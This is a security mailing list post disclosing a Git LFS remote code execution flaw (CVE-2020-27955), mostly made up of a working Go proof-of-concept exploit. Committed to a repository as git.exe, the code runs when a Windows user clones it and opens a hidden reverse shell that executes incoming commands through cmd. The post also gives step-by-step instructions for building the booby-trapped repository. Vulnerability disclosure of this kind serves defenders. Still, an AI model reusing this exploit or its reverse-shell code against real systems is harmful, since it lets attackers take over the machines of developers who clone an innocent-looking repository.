[<prev] [next>] [day] [month] [year] [list]
Message-ID: <CADSYzstg3moNw6mtorU6oR01hYAOL+diDSq4A1SK+AKzR8u7qg@mail.gmail.com>
Date: Wed, 4 Nov 2020 23:26:40 -0300
From: Dawid Golunski <dawid@...alhackers.com>
To: oss-security@...ts.openwall.com
Subject: Git LFS (git-lfs) - Remote Code Execution (RCE) exploit
CVE-2020-27955 - Clone to Pwn
/*
Go PoC exploit for git-lfs - Remote Code Execution (RCE)
vulnerability CVE-2020-27955
git-lfs-RCE-exploit-CVE-2020-27955.go
Discovered by Dawid Golunski
https://legalhackers.com
https://exploitbox.io
Affected (RCE exploit):
Git / GitHub CLI / GitHub Desktop / Visual Studio / GitKraken /
SmartGit / SourceTree etc.
Basically the whole Windows dev world which uses git.
Usage:
Compile: go build git-lfs-RCE-exploit-CVE-2020-27955.go
Save & commit as git.exe
The payload should get executed automatically on git clone operation.
It spawns a reverse shell, or a calc.exe for testing (if it
couldn't connect).
An lfs-enabled repository with lfs files may also be needed so that git-lfs
gets invoked. This can be achieved with:
git lfs track "*.dat"
echo "fat bug file" > lfsdata.dat
git add .*
git add *
git commmit -m 'git-lfs exploit' -a
Check out the full advisory for details:
https://exploitbox.io/vuln/Git-Git-LFS-RCE-Exploit-CVE-2020-27955.html
https://legalhackers.com/advisories/Git-LFS-RCE-Exploit-CVE-2020-27955.html
PoC video at:
https://youtu.be/tlptOf9w274
** For testing purposes only **
*/
package main
import (
"net"
"os/exec"
"bufio"
"syscall"
)
func revsh(host string) {
c, err := net.Dial("tcp", host)
if nil != err {
// Conn failed
if nil != c {
c.Close()
}
// Calc for testing purposes if no listener available
cmd := exec.Command("calc")
cmd.Run()
return
}
r := bufio.NewReader(c)
for {
runcmd, err := r.ReadString('\n')
if nil != err {
c.Close()
return
}
cmd := exec.Command("cmd", "/C", runcmd)
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
out, _ := cmd.CombinedOutput()
c.Write(out)
}
}
// Connect to netcat listener on local port 1337
func main() {
revsh("localhost:1337")
}
--
Regards,
Dawid Golunski
https://legalhackers.com
https://ExploitBox.io
t: @dawid_golunski
Powered by blists - more mailing lists
Please check out the
Open Source Software Security Wiki, which is counterpart to this
mailing list.
Confused about mailing lists and their use?
Read about mailing lists on Wikipedia
and check out these
guidelines on proper formatting of your messages.
